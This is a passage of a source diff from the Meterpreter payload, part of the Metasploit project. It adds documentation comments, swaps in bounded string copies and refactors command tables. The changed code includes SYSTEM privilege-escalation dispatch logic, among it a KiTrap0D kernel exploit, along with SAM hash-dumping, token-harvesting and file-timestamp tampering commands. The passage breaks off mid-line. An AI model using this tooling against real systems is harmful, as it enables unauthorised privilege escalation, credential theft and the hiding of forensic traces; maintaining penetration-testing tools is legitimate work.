||||
|
||||
#ifdef _WIN32
|
||||
@ -121,6 +173,7 @@ typedef struct
|
||||
PUCHAR buffer;
|
||||
} Tlv;
|
||||
|
||||
/*! @brief Packet definition. */
|
||||
typedef struct _Packet
|
||||
{
|
||||
TlvHeader header;
|
||||
@ -137,9 +190,7 @@ typedef struct _DECOMPRESSED_BUFFER
|
||||
DWORD length;
|
||||
} DECOMPRESSED_BUFFER;
|
||||
|
||||
/*
|
||||
* Packet request completion notification handler
|
||||
*/
|
||||
/*! * @brief Packet request completion notification handler function pointer type. */
|
||||
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
|
||||
Packet *response, LPVOID context, LPCSTR method, DWORD result);
|
||||
|
||||
@ -165,7 +216,7 @@ LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val);
|
||||
LINKAGE DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries);
|
||||
LINKAGE DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries);
|
||||
LINKAGE DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length);
|
||||
LINKAGE DWORD packet_is_tlv_null_terminated(Packet *packet, Tlv *tlv);
|
||||
LINKAGE DWORD packet_is_tlv_null_terminated(Tlv *tlv);
|
||||
LINKAGE PacketTlvType packet_get_type(Packet *packet);
|
||||
LINKAGE TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv);
|
||||
LINKAGE DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv);
|
||||
@ -198,6 +249,12 @@ LINKAGE DWORD packet_receive_via_http_wininet(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
|
||||
* @param result The result to be sent.
|
||||
* @param remote Reference to the remote connection to send the response to.
|
||||
* @param response the Response to add the `result` to.
|
||||
*/
|
||||
#define packet_transmit_response(result, remote, response) \
|
||||
if (response) { \
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); \
|
||||
@ -214,7 +271,8 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
|
||||
/*
|
||||
* Core API
|
||||
*/
|
||||
LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...);
|
||||
LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token);
|
||||
LINKAGE DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... );
|
||||
LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token );
|
||||
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
|
||||
|
||||
#endif
|
||||
|
@ -1,14 +1,13 @@
|
||||
#ifndef _METERPRETER_LIB_REMOTE_H
|
||||
#define _METERPRETER_LIB_REMOTE_H
|
||||
|
||||
|
||||
|
||||
#include "crypto.h"
|
||||
#include "thread.h"
|
||||
/*
|
||||
* Remote context allocation
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
*
|
||||
* Wraps the initialized file descriptor for extension purposes
|
||||
* Wraps the initialized file descriptor for extension purposes.
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
|
17
c/meterpreter/source/doxygen.h
Normal file
17
c/meterpreter/source/doxygen.h
Normal file
@ -0,0 +1,17 @@
|
||||
/*!
|
||||
* @mainpage Meterpreter Project Documentation
|
||||
*
|
||||
* This is the auto-generated documentation for the
|
||||
* [Meterpreter](https://github.com/rapid7/meterpreter) project; the
|
||||
* native payload for Windows and Linux in [Metasploit](https://github.com/rapid7/metasploit-framework)
|
||||
*
|
||||
* This documentation comes straight from the source and is created with doxygen.
|
||||
*
|
||||
* The source has only just started being annotated by the developers, hence the
|
||||
* documentation found here is scant. Over time, more and more work will be put
|
||||
* into filling the holes so that the source becomes more understandable and
|
||||
* easier to contribute to.
|
||||
*
|
||||
* For more information on Metasploit and Meterpreter, contact the fine folks
|
||||
* at [Rapid7](http://www.rapid7.com/).
|
||||
*/// Stub that contains the main page documentation for the project.
|
@ -1,66 +1,53 @@
|
||||
/*
|
||||
* This server feature extension provides:
|
||||
*
|
||||
*
|
||||
*/
|
||||
#include "boiler.h"
|
||||
|
||||
#include "../../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
DWORD request_boiler(Remote *remote, Packet *packet)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "boiler",
|
||||
{ request_boiler, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
};
|
||||
|
||||
/*
|
||||
* Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_register(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
/*!
|
||||
* @file bare.c
|
||||
* @brief Entry point and intialisation functionality for the bare extention.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
// custom commands go here
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
command_register(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
12
c/meterpreter/source/extensions/bare/bare.h
Normal file
12
c/meterpreter/source/extensions/bare/bare.h
Normal file
@ -0,0 +1,12 @@
|
||||
/*!
|
||||
* @file bare.h
|
||||
* @brief Entry point and intialisation declrations for the bare extention.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
|
||||
|
||||
#define TLV_TYPE_EXTENSION_BARE 0
|
||||
|
||||
// Custom TLVs go here
|
||||
|
||||
#endif
|
@ -1,48 +0,0 @@
|
||||
/*
|
||||
* This client feature extension provides the following:
|
||||
*
|
||||
*
|
||||
*/
|
||||
#include "../boiler.h"
|
||||
|
||||
extern DWORD cmd_boiler(Remote *remote, UINT argc, CHAR **argv);
|
||||
|
||||
ConsoleCommand commonCommands[] =
|
||||
{
|
||||
{ "", NULL, "", 1 },
|
||||
{ "boiler", cmd_boiler, "Boiler plate.", 0 },
|
||||
|
||||
// Terminator
|
||||
{ NULL, NULL, NULL, 0 },
|
||||
};
|
||||
|
||||
|
||||
/*
|
||||
* Register extensions
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitClientExtension()
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
commonCommands[index].name;
|
||||
index++)
|
||||
console_register_command(&commonCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deregister extensions
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitClientExtension()
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
commonCommands[index].name;
|
||||
index++)
|
||||
console_deregister_command(&commonCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -1,4 +0,0 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#include "../../../common/common.h"
|
||||
#endif
|
@ -50,7 +50,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
|
||||
for (i=0;i<num_tokens;i++)
|
||||
if (token_list[i].token)
|
||||
{
|
||||
get_domain_from_token(token_list[i].token, domain_name);
|
||||
get_domain_from_token(token_list[i].token, domain_name, BUF_SIZE);
|
||||
// If token is not "useless" local account connect to sniffer
|
||||
if (_stricmp(domain_name, "NT AUTHORITY"))
|
||||
{
|
||||
|
@ -204,7 +204,7 @@ void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num
|
||||
// If token user has not been seen yet then create new entry
|
||||
if (!user_exists)
|
||||
{
|
||||
strcpy(uniq_tokens[*num_tokens].username, full_name);
|
||||
strcpy_s(uniq_tokens[*num_tokens].username, MAX_USERNAME, full_name);
|
||||
uniq_tokens[*num_tokens].token_num = 1;
|
||||
uniq_tokens[*num_tokens].delegation_available = FALSE;
|
||||
uniq_tokens[*num_tokens].impersonation_available = FALSE;
|
||||
|
@ -8,9 +8,11 @@ typedef struct
|
||||
HANDLE token;
|
||||
} SavedToken;
|
||||
|
||||
#define MAX_USERNAME 256
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char username[256];
|
||||
char username[MAX_USERNAME];
|
||||
int token_num;
|
||||
BOOL delegation_available;
|
||||
BOOL impersonation_available;
|
||||
|
@ -11,7 +11,7 @@
|
||||
#include <wchar.h>
|
||||
#include "incognito.h"
|
||||
|
||||
BOOL get_domain_from_token(HANDLE token, char *domain_to_return)
|
||||
BOOL get_domain_from_token(HANDLE token, char *domainBuffer, DWORD domainBufferSize)
|
||||
{
|
||||
LPVOID TokenUserInfo[BUF_SIZE];
|
||||
char username[BUF_SIZE] = "", domainname[BUF_SIZE] = "";
|
||||
@ -21,7 +21,7 @@ BOOL get_domain_from_token(HANDLE token, char *domain_to_return)
|
||||
return FALSE;
|
||||
LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &user_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type);
|
||||
|
||||
strcpy(domain_to_return, domainname);
|
||||
strcpy_s(domainBuffer, domainBufferSize, domainname);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
@ -8,6 +8,6 @@ BOOL is_local_system();
|
||||
|
||||
BOOL get_domain_username_from_token(HANDLE token, char *full_name_to_return);
|
||||
BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD *num_groups);
|
||||
BOOL get_domain_from_token(HANDLE token, char *domain_to_return);
|
||||
BOOL get_domain_from_token(HANDLE token, char *domainBuffer, DWORD domainBufferSize);
|
||||
|
||||
#endif
|
@ -1,14 +1,22 @@
|
||||
/*!
|
||||
* @file elevate.c
|
||||
* @brief Definitions for SYSTEM privilege escalation.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "namedpipe.h"
|
||||
#include "tokendup.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
/*
|
||||
* Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
|
||||
/*!
|
||||
* @brief Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
|
||||
* @return A flag indicating the architecture of the system.
|
||||
* @retval PROCESS_ARCH_X64 The architecture is AMD64.
|
||||
* @retval PROCESS_ARCH_IA64 The architecture is IA64.
|
||||
* @retval PROCESS_ARCH_X86 The architecture is X86.
|
||||
*/
|
||||
DWORD elevate_getnativearch( VOID )
|
||||
{
|
||||
HANDLE hKernel = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
SYSTEM_INFO SystemInfo = {0};
|
||||
@ -51,8 +59,13 @@ DWORD elevate_getnativearch( VOID )
|
||||
return dwNativeArch;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
|
||||
/*!
|
||||
* @brief Attempt to elevate the current meterpreter to local system using a variety of techniques.
|
||||
* @details This function attempts to get system level privileges using a number of techniques.
|
||||
* If the caller hasn't specified a particular technique, then all of the known techniques are
|
||||
* attempted in order until one succeeds.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Elevation to `SYSTEM` was successful.
|
||||
*/
|
||||
DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
{
|
||||
@ -67,71 +80,44 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
|
||||
dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique );
|
||||
|
||||
// if we are to to use ELEVATE_TECHNIQUE_ANY, we try everything at our disposal...
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY )
|
||||
{
|
||||
do
|
||||
{
|
||||
// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE );
|
||||
if ( (dwResult = elevate_via_service_namedpipe( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
|
||||
dwResult = elevate_via_service_namedpipe( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)
|
||||
// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.
|
||||
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
|
||||
dwResult = elevate_via_service_namedpipe2( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
else
|
||||
{
|
||||
// if we are to only use a specific technique, try the specified one and return the success...
|
||||
switch( dwTechnique )
|
||||
{
|
||||
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE:
|
||||
dwResult = elevate_via_service_namedpipe( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2:
|
||||
dwResult = elevate_via_service_namedpipe2( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
break;
|
||||
default:
|
||||
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
|
||||
break;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 );
|
||||
if ( (dwResult = elevate_via_service_namedpipe2( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_TOKENDUP (%u)", ELEVATE_TECHNIQUE_SERVICE_TOKENDUP );
|
||||
if ( (dwResult = elevate_via_service_tokendup( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D (%u)", ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D );
|
||||
if ( (dwResult = elevate_via_exploit_kitrap0d( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( response )
|
||||
{
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwTechnique );
|
||||
else
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, ELEVATE_TECHNIQUE_NONE );
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
}
|
||||
|
||||
|
@ -1,20 +1,23 @@
|
||||
/*!
|
||||
* @file elevate.h
|
||||
* @brief Declarations for SYSTEM privilege escalation.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
|
||||
#define ELEVATE_TECHNIQUE_NONE -1
|
||||
#define ELEVATE_TECHNIQUE_ANY 0
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3
|
||||
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4
|
||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4 ///< Identifier for the Kitrap0d exploit technique.
|
||||
|
||||
// from ps.h
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
#define PROCESS_ARCH_UNKNOWN 0 ///< Indicates that the architecture is not known.
|
||||
#define PROCESS_ARCH_X86 1 ///< Indicates that the architecture is X86.
|
||||
#define PROCESS_ARCH_X64 2 ///< Indicates that the architecture is AMDX64.
|
||||
#define PROCESS_ARCH_IA64 3 ///< Indicates that the architecture is IA64.
|
||||
|
||||
DWORD elevate_getnativearch( VOID );
|
||||
|
||||
|
@ -1,34 +1,34 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet );
|
||||
|
@ -1,5 +1,5 @@
|
||||
/*
|
||||
* This module implements privilege escalation features.
|
||||
/*!
|
||||
* @brief This module implements privilege escalation features.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
|
||||
@ -8,86 +8,42 @@
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*!
|
||||
* @brief `priv` extension dispatch table.
|
||||
*/
|
||||
Command customCommands[] =
|
||||
{
|
||||
|
||||
// Elevate
|
||||
{ "priv_elevate_getsystem",
|
||||
{ elevate_getsystem, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Priv
|
||||
{ "priv_passwd_get_sam_hashes",
|
||||
{ request_passwd_get_sam_hashes, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Fs
|
||||
{ "priv_fs_get_file_mace",
|
||||
{ request_fs_get_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace",
|
||||
{ request_fs_set_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace_from_file",
|
||||
{ request_fs_set_file_mace_from_file, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_file_mace",
|
||||
{ request_fs_blank_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_directory_mace",
|
||||
{ request_fs_blank_directory_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "priv_elevate_getsystem", elevate_getsystem ),
|
||||
COMMAND_REQ( "priv_passwd_get_sam_hashes", request_passwd_get_sam_hashes ),
|
||||
COMMAND_REQ( "priv_fs_get_file_mace", request_fs_get_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_set_file_mace", request_fs_set_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_set_file_mace_from_file", request_fs_set_file_mace_from_file ),
|
||||
COMMAND_REQ( "priv_fs_blank_file_mace", request_fs_blank_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_blank_directory_mace", request_fs_blank_directory_mace ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
* Initialize the server extension
|
||||
*/
|
||||
/*!
|
||||
* @brief Initialize the `priv` server extension.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deinitialize the server extension
|
||||
*/
|
||||
/*!
|
||||
* @brief Deinitialize the `priv` server extension.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -35,8 +35,9 @@ LPSTR fs_expand_path(LPCSTR regular)
|
||||
return expandedFilePath;
|
||||
#else /* Hack to make it work with existing code under *nix */
|
||||
char *expandedFilePath;
|
||||
expandedFilePath = malloc(strlen(regular)+1);
|
||||
strcpy(expandedFilePath, regular);
|
||||
DWORD expandedFilePathSize = strlen(regular)+1;
|
||||
expandedFilePath = malloc(expandedFilePathSize);
|
||||
strncpy(expandedFilePath, regular, expandedFilePathSize - 1);
|
||||
return expandedFilePath;
|
||||
#endif
|
||||
}
|
||||
|
@ -261,13 +261,13 @@ DWORD windows_get_tcp_table(struct connection_table **table_connection)
|
||||
state = currentv4->dwState;
|
||||
if ((state <= 0) || (state > 12))
|
||||
state = 13; // points to UNKNOWN in the state array
|
||||
strncpy(current_connection->state, tcp_connection_states[state], sizeof(current_connection->state));
|
||||
